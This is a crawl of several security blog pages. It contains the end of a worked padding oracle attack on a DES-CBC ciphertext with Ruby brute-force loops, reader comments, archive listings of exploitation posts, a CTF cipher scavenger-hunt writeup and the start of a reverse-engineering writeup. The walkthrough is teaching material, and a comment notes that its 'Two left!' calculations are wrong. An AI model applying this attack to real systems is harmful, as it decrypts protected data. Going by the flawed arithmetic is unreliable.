      C′[5] = P′2[5] ⊕ P2[5] ⊕ C1[5]
      C′[5] = 0x06 ⊕ 0x05 ⊕ 0xe6
      C′[5] = 0xe5
    
      C′[4] = P′2[4] ⊕ P2[4] ⊕ C1[4]
      C′[4] = 0x06 ⊕ 0x05 ⊕ 0x51
      C′[4] = 0x52
    

    Run the program:

      irb(main):100:0> 0.upto(255) do |i|
      irb(main):101:1*   cprime = "\x00\x00#{i.chr}\x52\xe5\xd2\x21\xc9" + 
      "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
      irb(main):102:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
      irb(main):103:1> end
      111: 00006f52e5d221c93faf089c7a924a7b
    

    Break the character:

      P2[3] = P′2[3] ⊕ C1[3] ⊕ C′[3]
      P2[3] = 0x06 ⊕ 0x0d ⊕ 0x6f
      P2[3] = 0x64 = "d"
    

    The value we know for P2 is "??d\x05\x05\x05\x05\x05"

    Two left!

    Only two left! Time to calculate C′ for "\x07\x07\x07\x07\x07\x07":

      C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]
    
      C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
      C′[8] = 0x07 ⊕ 0x05 ⊕ 0xca
      C′[8] = 0xc9
    
      C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
      C′[7] = 0x07 ⊕ 0x05 ⊕ 0x22
      C′[7] = 0x21
    
      C′[6] = P′2[6] ⊕ P2[6] ⊕ C1[6]
      C′[6] = 0x07 ⊕ 0x05 ⊕ 0xd1
      C′[6] = 0xd2
    
      C′[5] = P′2[5] ⊕ P2[5] ⊕ C1[5]
      C′[5] = 0x07 ⊕ 0x05 ⊕ 0xe6
      C′[5] = 0xe5
    
      C′[4] = P′2[4] ⊕ P2[4] ⊕ C1[4]
      C′[4] = 0x07 ⊕ 0x05 ⊕ 0x51
      C′[4] = 0x52
    
      C′[3] = P′2[3] ⊕ P2[3] ⊕ C1[3]
      C′[3] = 0x07 ⊕ 0x64 ⊕ 0x0d
      C′[3] = 0x52
    

    The program:

      irb(main):104:0> 0.upto(255) do |i|
      irb(main):105:1*   cprime = "\x00#{i.chr}\x6e\x53\xe4\xd3\x20\xc8" + 
      "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
      irb(main):106:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
      irb(main):107:1> end
      138: 008a6e53e4d320c83faf089c7a924a7b
    

    The calculation:

      P2[2] = P′2[2] ⊕ C1[2] ⊕ C′[2]
      P2[2] = 0x07 ⊕ 0xe1 ⊕ 0x8a
      P2[2] = 0x6c = "l"
    

    The value we know for P2 is "?ld\x05\x05\x05\x05\x05"

    Last block!

    For the last block — and the last time I ever do a padding oracle calculation by hand — we calculate C′ for "\x08\x08\x08\x08\x08\x08\x08":

      C′[k] = P′2[k] ⊕ P2[k] ⊕ C1[k]
    
      C′[8] = P′2[8] ⊕ P2[8] ⊕ C1[8]
      C′[8] = 0x08 ⊕ 0x05 ⊕ 0xca
      C′[8] = 0xc7
    
      C′[7] = P′2[7] ⊕ P2[7] ⊕ C1[7]
      C′[7] = 0x08 ⊕ 0x05 ⊕ 0x22
      C′[7] = 0x2f
    
      C′[6] = P′2[6] ⊕ P2[6] ⊕ C1[6]
      C′[6] = 0x08 ⊕ 0x05 ⊕ 0xd1
      C′[6] = 0xdc
    
      C′[5] = P′2[5] ⊕ P2[5] ⊕ C1[5]
      C′[5] = 0x08 ⊕ 0x05 ⊕ 0xe6
      C′[5] = 0xeb
    
      C′[4] = P′2[4] ⊕ P2[4] ⊕ C1[4]
      C′[4] = 0x08 ⊕ 0x05 ⊕ 0x51
      C′[4] = 0x5c
    
      C′[3] = P′2[3] ⊕ P2[3] ⊕ C1[3]
      C′[3] = 0x08 ⊕ 0x64 ⊕ 0x0d
      C′[3] = 0x61
    
      C′[2] = P′2[2] ⊕ P2[2] ⊕ C1[2]
      C′[2] = 0x08 ⊕ 0x6c ⊕ 0xe1
      C′[2] = 0x85
    

    Then the program:

      irb(main):112:0> 0.upto(255) do |i|
      irb(main):113:1*   cprime = "#{i.chr}\x85\x61\x5c\xeb\xdc\x2f\xc7" + 
      "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
      irb(main):114:1>   puts("#{i}: #{cprime.unpack("H*")}") if(try_decrypt(cprime))
      irb(main):115:1> end
      249: f985615cebdc2fc73faf089c7a924a7b
    

    And, finally, we calculate the character one last time:

      P2[1] = P′2[1] ⊕ C1[1] ⊕ C′[1]
      P2[1] = 0x08 ⊕ 0x83 ⊕ 0xf9
      P2[1] = 0x72 = "r"
    

    The value we know for P2 is "rld\x05\x05\x05\x05\x05"

    Conclusion

    So, you've seen the math behind how we can decrypt a full block of a CBC cipher (specifically, DES) using only a padding oracle. The previous block would be decrypted the exact same way, and would wind up as "Hello Wo".

    Hopefully this demonstration will help you understand what's going on! Padding oracles, once you really understand them, are one of the simplest vulnerabilities to exploit!

    8 thoughts on “A padding oracle example

    1. Reply

      Spades

      Great explanation.

      Just a suggestion: I think you should make the link(s) to your extremely helpful Wiki more prominent somewhere on this blog. Maybe in its own widget or a link at the top or something.

    2. Reply

      bitwize

      That was an awesome explanation of a padding oracle attack. One thing to note is though, after decrypting the last byte of the ciphertext, you could have eliminated some work since you know that, due to the padding scheme, the last 5 bytes will all be 0x05.

    3. Reply

      oplbhw

      http://www.hack-ware.com/content/padding-oracle-exploit-tool-vs-apache-myfaces

    4. Reply

      Marc G

      Well, I'm missing something. I read thru this one and the detailed, more theoretical blog posts and am confused in the backtracking area.

      I understand all the math and the working backwards to "decrypt" the message. The only thing I'm confused about is how in this post it says that you know you got 0x01. While it can be confirmed after subsequent tests that all align as expected, are we just guessing it is 0x01 at that point or do we know for sure?

      If we know for sure; how? This is the only point I'm not getting it seems like. How do we know its not 0x02 or 3 or 4? At least not with additional requests to verify.

      1. Reply

        Alex

        You're right,
        This article seems incomplete.
        When you have the first correct guess (by running the last byte from 0 to FF while keeping the rest unchanged), it could be either
        0x01 or
        0x02 0x02 or
        0x03 0x03 0x03,
        etc.
        You get my gist.
        The only way to confirm that it is indeed 0x01 is by changing the next to last byte - if the guess is still correct then we indeed got 0x01, otherwice the padding is wrong and we need to continue changthing the first byte until we got the correct value.
        However getting 0x02 0x02 is unlikely, getting 0x03 0x03 0x03 is even more unlikely, so assuming that it is 0x01 will be almost always right.

        1. Reply

          Michal

          You are guaranteed to hit 0x01 with one of the values of C'[8]. If only one value works, you know that it is correct.

          If your padding is 0x02 0x02 (or 0x03 0x03 0x03 ...), then you will get two possible values of C'[8]. You can just increment C'[7] until you get only one hit.

    5. Reply

      kaw

      Thanks for the nice example.

      In the "Two left!" section the numbers of the calculation are all wrong, aren't they? Seems like a cut&paste error from the previous section.

      (Also, the comment spam protection seems to be partially broken.)

    6. Reply

      Michael

      Howdy all,

      I followed this article and wrote a simple implementation in PHP. It works but I'm somewhat stuck after the first block has been decrypted. Code is on github, any pointers would be greatly appreciated...

      https://github.com/mmeyer2k/phporacle

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### NetBIOS/SMB » SkullSecurity

    Technical Rundown of WebExec

    This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code […]

    smb-psexec.nse: owning Windows, fast (Part 2)

    Posts in this series (I'll add links as they're written): What does smb-psexec do? Sample configurations ("sample.lua") Default configuration ("default.lua") Advanced configuration ("pwdump.lua" and "backdoor.lua")

    smb-psexec.nse: owning Windows, fast (Part 1)

    Posts in this series (I'll add links as they're written): What does smb-psexec do? Sample configurations ("sample.lua") Default configuration ("default.lua") Advanced configuration ("pwdump.lua" and "backdoor.lua")

    Pwning hotel guests

    Greetings everybody! I spent a good part of the past month traveling, which meant staying in several hotels, both planned and unplanned. There's nothing like having a canceled flight and spending a boring night in San Francisco! But hey, why be bored when you have a packet sniffer installed? :)

    Scorched earth: Finding vulnerable SMBv2 systems with Nmap

    Hello once again! I just finished updating my smb-check-vulns.nse Nmap script to check for the recent SMBv2 vulnerability, which had a proof-of-concept posted on full-disclosure. WARNING: This script will cause vulnerable systems to bluescreen and restart. Do NOT run this in a production environment, unless you like angry phonecalls. You have been warned!

    My SANS Gold Paper: Nmap SMB Scripts

    Hey all, For my SANS GPEN Gold certification (first Gold-certified analyst for GPEN -- go me!) I wrote a paper on my SMB scripts for Nmap. The paper is titled "Scanning Windows Deeper With the Nmap Scanning Engine". I started writing it a few months ago, and collaborated with Fyodor in the early stages. Hopefully […]

    nbstat.nse: just like nbtscan

    Hey all, With the upcoming release of Nmap 4.85, Brandon Enright posted some comments on random Nmap thoughts. One of the things he pointed out was that people hadn't heard of nbstat.nse! Since I love showing off what I write, this blog was in order.

    Updated Conficker detection

    Morning, all! Last night Fyodor and crew rolled out Nmap 4.85beta7. This was because some folks from the Honeynet Project discovered a false negative (showed no infection where an infection was present), which was then confirmed by Tenable. We decided to be on the safe side, and updated our checks.

    Using PsTools in a pentest

    I'm going to start off this blog by wishing a happy birthday to a very important person -- me. :) Now, onto the content! PsTools is a suite of tools developed by Sysinternals (now Microsoft). They're a great complement to any pen test, and many of my Nmap scripts are loosely based on them. As […]

    How Pwdump6 works, and how Nmap can do it

    Today I want to discuss how the pwdump6 and fgdump tools work, in detail, and how I was able to integrate pwdump6 into my Nmap scripts. Is this integration useful? Maybe or maybe not, but it was definitely an interesting problem.

    Getting HKEY_PERFORMANCE_DATA

    Hi everybody, I spent most of last Saturday exploring how SysInternals' PsList program works, and how I could re-implement it as an Nmap script. I quickly discovered that the HKEY_PERFORMANCE_DATA (HKPD) registry hive was opened, then it got complicated. So I went digging for documentation and discovered a couple journals posts written by Microsoft's Matt […]

    ms08-068 — Preventing SMBRelay Attacks

    Microsoft released ms08-068 this week, which fixes a vulnerability that's been present and documented since 2001. I'm going to write a quick overview of it here, although you'll probably get a better one by reading The Metasploit Blog.

    Calling RPC functions over SMB

    Hi everybody! This is going to be a fairly high level discussion on the sequence of calls and packets required to make MSRPC calls over the SMB protocol. I've learned this from a combination of reading the book Implementing CIFS, watching other tools do their stuff with Wireshark, and plain ol' guessing/checking.

    What does Windows tell its guests?

    Hello everybody! Lately I've been putting a lot of work into Nmap scripts that'll probe Windows deeply for information. I'm testing this with both authenticated and unauthenticated users, mostly to determine how well error conditions are handled. Every once in awhile, however, I notice something that the anonymous account or guest account can access that […]

    What time IS it?

    How synced up are the clocks on your servers? Ignoring your system times may give an important clue to attackers. Read on to find out more!

    My Scripting Experience with Nmap

    As you can see from my past few posts, I've been working on implementing an SMB client in C. Once I got that into a stable state, I decided to pursue the second part of my goal for a bit -- porting that code over to an Nmap script. Never having used Lua before, this […]

    #####EOF##### March » 2009 » SkullSecurity

    Using PsTools in a pentest

    I'm going to start off this blog by wishing a happy birthday to a very important person -- me. :) Now, onto the content! PsTools is a suite of tools developed by Sysinternals (now Microsoft). They're a great complement to any pen test, and many of my Nmap scripts are loosely based on them. As […]

    #####EOF##### November » 2015 » SkullSecurity

    dnscat2: now with crypto!

    Hey everybody, Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default! Read on for some user information, then some implementation details for those who are interested! For […]

    #####EOF##### May » 2010 » SkullSecurity

    Five Relays and a Patch

    Hey all, We hired a new pair of co-op students recently. They're both in their last academic terms, and are looking for a good challenge and to learn a lot. So, for a challenge, I set up a scenario that forced them to use a series of netcat relays to compromise a target host and […]

    Defeating expensive lockdowns with cheap shellscripts

    Recently, I was given the opportunity to work with an embedded Linux OS that was locked down to prevent unauthorized access. I was able to obtain a shell fairly quickly, but then I ran into a number of security mechanisms. Fortunately, I found creative ways to overcome each of them. Here's the list of the […]

    Metasploit Express Beta – First Look

    This post was written by Matt Gardenghi This is just initial impressions of a beta product. I've been playing with this for about a week now in an internal network.  I have a dedicated box running Ubuntu 10.04 and Metasploit Express.  I've noticed that Express loves CPU time but is much less caring about RAM.  […]

    Confidential Information in the Cloud

    This is another special blog written by Matt Gardenghi! My boss passed around a document about database security in the cloud.  It raised issues about proper monitoring of the DB, but offered no solutions. This got me thinking.  I hate it when that happens.  Its like an automatic "boss button" that I can't switch off.  […]

    #####EOF##### #####EOF##### Ron Bowes » SkullSecurity

    In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    Hey everybody, In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page. This post will be more […]

    BSidesSF CTF author writeup: genius

    Hey all, This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius! genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the […]

    Technical Rundown of WebExec

    This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code […]

    Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    Hey everybody, A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff. The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's […]

    Book review: The Car Hacker’s Handbook

    So, this is going to be a bit of an unusual blog for me. I usually focus on technical stuff, exploitation, hacking, etc. But this post will be a mixture of a book review, some discussion on my security review process, and whatever asides fall out of my keyboard when I hit it for long […]

    BSidesSF CTF wrap-up

    Welcome! While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running […]

    Going the other way with padding oracles: Encrypting arbitrary data!

    A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher. When […]

    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday! My Christmas present to you, the community, is dnscat2 version 0.05! Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and […]

    SANS Hackfest writeup: Hackers of Gravity

    Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there! […]

    dnscat2: now with crypto!

    Hey everybody, Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default! Read on for some user information, then some implementation details for those who are interested! For […]

    Why DNS is awesome and why you should love it

    It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :) I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's […]

    Defcon quals: wwtw (a series of vulns)

    Hey folks, This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. […]

    Defcon Quals: babyecho (format string vulns in gory detail)

    Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally […]

    Defcon Quals: Access Control (simple reverse engineer)

    Hello all, Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process […]

    Defcon Quals: r0pbaby (simple 64-bit ROP)

    This past weekend I competed in the Defcon CTF Qualifiers from the Legit Business Syndicate. In the past it's been one of my favourite competitions, and this year was no exception! Unfortunately, I got stuck for quite a long time on a 2-point problem ("wwtw") and spent most of my weekend on it. But I […]

    dnscat2 beta release!

    As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :) I'd love to have people testing it, and getting feedback is super important to […]

    GitS 2015: Huffy (huffman-encoded shellcode)

    Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end. Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was […]

    GitS 2015: Giggles (off-by-one virtual machine)

    Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink! Now, down to business: this writeup is about one of the Pwnage 300 […]

    #####EOF##### SANS Hackfest writeup: Hackers of Gravity » SkullSecurity


    SANS Hackfest writeup: Hackers of Gravity

    Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there!

    We worked in small teams (I teamed up with Eric, who's also writing this blog with me). All they told us in advance was to bring a phone, so every part of this was solved with our phones and Google.

    Each level began with an image, typically with a cipher embedded in it. After decoding the cipher, the solution and the image itself were used together to track down a related artifact.

    This is a writeup of that scavenger hunt. :)

    Challenge 1: Hacker of Tenacity

    The order of the challenges was actually randomized, so this may not be the order that anybody else had (homework: there are 5040 possible orderings of challenges, and about 100 people attending; what are the odds that two people had the same order? The birthday paradox applies).

    The first challenge was simply text:

    Sometimes tenacity is enough to get through a difficult challenge. This Hacker of Gravity never gave up and even purposefully created discomfort to survive their challenge against gravity. Do you possess the tenacity to break this message? 
    
    T05ZR1M0VEpPUlBXNlpTN081VVdHMjNGT0pQWEdaTEJPUlpRPT09PQ==
    

    Based on the character set, we immediately recognized it as Base64. We found an online decoder and it decoded to:

    ONYGS4TJORPW6ZS7O5UWG23FOJPXGZLBORZQ====

    
    We recognized that as Base32 - Base64 will never have four "====" signs at the end, and Base32 typically only contains uppercase characters and numbers. (Quick plug: I'm currently working on Base32 support for dnscat2, which is another reason I quickly recognized it!)

    Anyway, the Base32 version decoded to spirit_of_wicker_seats, and Eric recognized "Spirit" as a possible clue and searched for "Spirit of St Louis Wicker Seats", which revealed the following quote from the Wikipedia article on the Spirit of St. Louis: "The stiff wicker seat in the cockpit was also purposely uncomfortable".

    The Spirit of St. Louis was one of the first planes we spotted, so we scanned the QR code and found the solution: lots_of_fuel_tanks!

    Challenge 2: Hacker of Navigation

    We actually got stuck on the second challenge for awhile, but eventually we got an idea of how these challenges tend to work, after which we came back to it.

    We were given a fragment of a letter:

    The museum archives have located part of a letter in an old storage locker from some previously lost collection. They'd REALLY like your help finding the author.

    You'll note at the bottom-left corner it implies that "A = 50 degrees". We didn't notice that initially. :)

    What we did notice was that the degrees were all a) multiples of 10, and b) below 260. That led us to believe that they were numbered letters, times ten (so A = 10, B = 20, C = 30, etc).

    The numbers were: 100 50 80 90 80 100 50 230 120 130 190 180 130 230 240 50.

    Dividing by 10 gives 10 5 8 9 8 10 5 23 12 13 19 18 13 23 24 5.

    Converting that to the corresponding letters gave us JEHIH JEWLMSRMWXE. Clearly not an English sentence, but it looks like a cryptogram (JEHIH looks like "THERE" or "WHERE").

    That's when we noticed the "A = 50" in the corner, and realized that things were probably shifted by 5. Instead of manually converting it, we found a shift cipher bruteforcer that we could use. The result was: FADED FASHIONISTA

    Searching for "Faded Fashionista Air and Space" led us to this Smithsonian Article: Amelia Earhart, Fashionista. Neither of us knew where her exhibit was, but eventually we tracked it down on the map and walked around it until we found her Lockheed Vega, the QR code scanned to amelias_vega.

    Challenge 3: Hacker of Speed

    This was an image of some folks ready to board a plane or something:

    This super top secret photo has been censored. The security guys looked at this SO fast, maybe they missed something?

    Because of the hint, we started looking for mistakes in the censoring and noticed that they're wearing boots that say "X-15":

    We found pictures of the X-15 page on the museum's Web site and remembered seeing the plane on the 2nd floor. We reached the artifact and determined that the QR code read faster_than_superman.

    Once we got to the artifact, we noticed that we hadn't broken the code yet. Looking carefully at the image, we saw the text at the bottom, nbdi_tjy_qpjou_tfwfo_uxp.

    As an avid cryptogrammer, I recognized tfwfo as likely being "never". Since 'e' is one character before 'f', it seemed likely that it was a single shift ('b'->'a', 'c'->'b', etc). I mentally shifted the first couple letters of the sentence, and it looked right, so I did the entire string while Eric wrote it down: mach_six_point_seven_two.

    The funny thing is, the word was "seven", not "never", but the "e"s still matched!

    Challenge 4: Hacker of Design

    While researching some physics based penetration testing, you find this interesting diagram. You feel like you've seen this device before... maybe somewhere or on something in the Air and Space museum?

    The diagram reminded Eric of an engine he saw on an earlier visit, we found the artifact on the other side of the museum:

    Unfortunately there was no QR code so we decided to work on decoding the challenge to discover the location of the artifact.

    Now that we'd seen the hint on Challenge 2, we were more prepared for a diagram to help us! In this case, it was a drawing of an atom and the number "10". We concluded that the numbers probably referred to the atomic weight for elements on the periodic table, and converted them as such:

    10=>Ne
    74=>W
    ... and so on.

    After decoding the full string, we ended up with:

    new_plan_schwalbe

    We actually made a mistake in decoding the string, but managed to find it anyways thanks to search autocorrect. :)

    After searching for "schwalbe air and space", we found this article, which led us to the artifact: the Messerschmitt Me 262 A-1a Schwalbe (Swallow). The QR code scanned revealed the_swallow.

    Challenge 5: Hacker of Distance

    While at the bar, listening to some Dual Core, planning your next conference-fest with some fellow hackers, you find this interesting napkin. Your mind begins to wander. Why doesn't Dual Core have a GOLDEN RECORD?! Also, is this napkin trying to tell you something in a around-about way?

    The hidden text on this one was obvious… morse code! Typing the code into a phone (not fun!), we ended up with .- -.. .- ... - .-. .- .--. . .-. .- ... .--. . .-. .-, which translates to ADASTRAPERASPERA

    According to Google, that slogan is used by a thousand different organizations, none of which seemed to be space or air related. However, searching for "Golden Record Air and Space" returned several results for the Voyager space probe. We looked at our map and scurried to the exhibit on the other side of the museum:

    Once we made it to the exhibit finding the QR code was easy, scanning it revealed, the_princess_is_in_another_castle. The decoy flag!

    We tried searching keywords from the napkin but none of the results seemed promising. After a few frustrating minutes we saw the museum banquet director and asked him for help. He told us that the plane we were looking for was close to the start of the challenge, we made a dash for the first floor and found the correct Voyager exhibit:

    Scanning the QR code revealed the code, missing_canards.

    Challenge 6: Hacker of Guidance

    The sixth challenge gave us a map with some information:

    You have intercepted this map that appears to target something. The allies would really like to know the location of the target. Also, they'd like to know what on Earth is at that location.

    We immediately noticed the hex-encoded numbers on the left:

    35342e3133383835322c
    31332e373637373235
    

    Which translates to 54.138852,13.767725. We googled the coordinates, and it turned out to be a location in Germany: Flughafenring, 17449 Peenemünde, Germany.

    After many failed searches we tried "Peenemünde ww2 air and space", which led to a reference to the German V2 Rocket. Here is the exhibit and QR code:

    Scanning the QR code revealed aggregat_4, the formal name for the V-2 rocket.

    Challenge 7: Hacker of Coding

    This is an image with a cipher on the right:

    Your primary computer's 0.043MHz CPU is currently maxed out with other more important tasks, so converting all these books of source code to assembly is entirely up to you.

    On the chalkboard is a cipher:

    We couldn't remember what it was called, and ended up searching for "line dot cipher", which immediately identified it as a pigpen cipher. The pigpen cipher can be decoded with this graphic:

    Essentially, you find the shape containing the letter that corresponds to the shape in that graphic. So, the first letter is ">" on the chalkboard, which maps to 'T'. The second is the upper three quarters of a square, which matches up with 'H', and the third is a square, which matches to E. And so on.

    Initially we found a version that didn't map to the proper English characters, and translated it to:

    Later, we did it right and found the text "THE BEST SHIP TO COME DOWN THE LINE"

    To find the artifact, we googled "0.043MHz", and immediately discovered it was "Apollo 11".

    The QR code scanned to the_eleventh_apollo

    And that's it!

    And that's the end of the cipher portion of the challenge! We were first place by only a few minutes. :)

    The last part of the challenge involved throwing wood airplanes. Because our plane didn't go backwards, it wasn't the worst, but it's nothing to write home about!

    But in the end, it was a really cool way to see a bunch of artifacts and also break some codes!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Defcon Quals: Access Control (simple reverse engineer) » SkullSecurity


    Defcon Quals: Access Control (simple reverse engineer)

    Hello all,

    Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process than reversing higher level stuff, because each instruction matters and it's often extremely hard to follow.

    Having just finished another level (r0pbaby, I think), and having about an hour left in the competition, I wanted something I could finish quickly. There were two one-point reverse engineering challenges open that we hadn't solved: one was 64-bit and written in C++, whereas this one was 32-bit and C and only had a few short functions. The choice was easy. :)

    I downloaded the binary and had a look at its strings. Lots of text-based stuff, such as "list users", "print key", and "connection id:", which I saw as a good sign!

    Running it

    If you wnat to follow along, I uploaded all my work to my Github page, including a program called server.rb that more or less simulates the server. It's written in Ruby, obviously, and simulates all the responses. The real client can't actually read the flag from it, though, and I can't figure out why (and spent way too much time last night re-reversing the client binary before realizing it doesn't matter).

    Anyway, when you run the client, it asks for an ip address:

    $ ./client
    need IP
    

    The competition gives you a target, so that's easy (note that most of this is based on my own server.rb, not the real one, which I re-created from packet captures:

    $ ./client 52.74.123.29
    Socket created
    Enter message : Hello
    nope...Hello
    

    If you look at a packet capture of this, you'll see that a connection is made but nothing is sent or received. Local checks are best checks!

    All right.. time for some reversing! I open up the client program in IDA, and go straight to the Strings tab (Shift-F12). I immediately see "Enter message :" so I double click it and end up here:

    .rodata:080490F5 ; char aEnterMessage[]
    .rodata:080490F5 aEnterMessage   db 'Enter message : ',0 ; DATA XREF: main+178o
    .rodata:08049106 aHackTheWorld   db 'hack the world',0Ah,0 ; DATA XREF: main+1A7o
    .rodata:08049116 ; char aNope_[]
    .rodata:08049116 aNope___S       db 'nope...%s',0Ah,0    ; DATA XREF: main+1CAo
    

    Could it really be that easy?

    The answer, for a change, is yes:

    $ ./client 52.74.123.29
    Socket created
    Enter message : hack the world
    << connection ID: nuc EW1A IQr^2&
    
    
    *** Welcome to the ACME data retrieval service ***
    what version is your client?
    
    << hello...who is this?
    <<
    
    << enter user password
    
    << hello grumpy, what would you like to do?
    <<
    
    << grumpy
    mrvito
    gynophage
    selir
    jymbolia
    sirgoon
    duchess
    deadwood
    hello grumpy, what would you like to do?
    
    << the key is not accessible from this account. your administrator has been notified.
    <<
    hello grumpy, what would you like to do?
    

    Then it just sits there.

    I logged the traffic with Wireshark and it looks like this (blue = incoming, red = outgoing, or you can just download my pcap):

    connection ID: Je@/b9~A>Xa'R-
    
    
    *** Welcome to the ACME data retrieval service ***
    what version is your client?
    version 3.11.54
    hello...who is this?grumpy
    
    enter user password
    H0L31
    hello grumpy, what would you like to do?
    list users
    grumpy
    mrvito
    gynophage
    selir
    jymbolia
    sirgoon
    duchess
    deadwood
    hello grumpy, what would you like to do?
    print key
    the key is not accessible from this account. your administrator has been notified.
    hello grumpy, what would you like to do?
    

    Connection IDs and passwords

    I surmised, based on this, that the connection id was probably random (it looks random) and that the password is probably hashed (poorly) and not replay-able (that'd be too easy). Therefore, the password is probably based on the connection id.

    To verify the first part, I ran a capture a second time:

    connection ID: #2^1}P>JAqbsaj
    [...]
    hello...who is this?
    grumpy
    enter user password
    V/%S:
    

    Yup, it's different!

    I did some quick digging in IDA and found a function - sub_8048EAB - that was called with "grumpy" and "1" as parameters, as well as a buffer that would be sent to the server. It looked like it did some arithmetic on "grumpy" - which is presumably a password, and it touched a global variable - byte_804BC70 - that, when I investigated, turned out to be the connection id. The function was called from a second place, too, but we'll get to that later!

    So now we've found a function that looks at the password and the connection id. That sounds like the hashing function to me (and note that I'm using the word "hashing" in its literal sense, it's obviously not a secure hash)! I could have used a debugger to verify that it was actually returning a hashed password, but the clock was ticking and I had to make some assumptions in order to keep moving - if the the assumptions turned out to be wrong, I wouldn't have finished the level, but I wouldn't have finished it either if I verified everything.

    I wasn't entirely sure what had to be done from here, but it seemed logical to me that reverse engineering the password-hashing function was something I'd eventually have to do. So I got to work, figuring it couldn't hurt!

    Reversing the hashing function

    There are lots of ways to reverse engineer a function. Frequently, I take a higher level view of what libc/win32 functions it calls, but sub_8048EAB doesn't call any functions. Sometimes I'll try to understand the code, mentally, but I'm not super great at that. So I used a variation of this tried-and-true approach I often use for crypto code:

    1. Reverse each line of assembly to exactly one line of C
    2. Test it against the real version, preferably instrumented so I can automatically ensure that it's working properly
    3. While the output of my code is different from the output of their code, use a debugger (on the binary) and printf statements (on your implementation) to figure out where the problem is - this usually takes the most of my time, because there are usually several mistakes
    4. With the testing code still in place, simplify the C function as much as you can

    Because I only had about an hour to reverse this, I had to cut corners. I reversed it to Ruby instead of C (so I wouldn't have to deal with sockets in C), I didn't set up proper instrumentation and instead used Wireshark, and I didn't simplify anything till afterwards. In the end, I'm not sure whether this was faster or slower than doing it "right", but it worked so I can't really complain.

    Version 1

    As I said, the first thing I do is translate the code directly, line by line, to assembly. I had to be a little creative with loops and pointers because I can't just use goto and cast everything to an integer like I would in C, but this is what it looked like. Note that I've fixed all the bugs that were in the original version - there were a bunch, but it didn't occur to me to keep the buggy code - I did, however, leave in the printf-style statements I used for debugging!

    # mode = 1 for passwords, 7 for keys
    def hash_password(password, connection_id, mode)
    # mov     eax, [ebp+password]
      eax = password
    
    # mov     [ebp+var_2C], eax
      var_2c = eax
    
    # mov     eax, [ebp+buffer]
      eax = ""
    
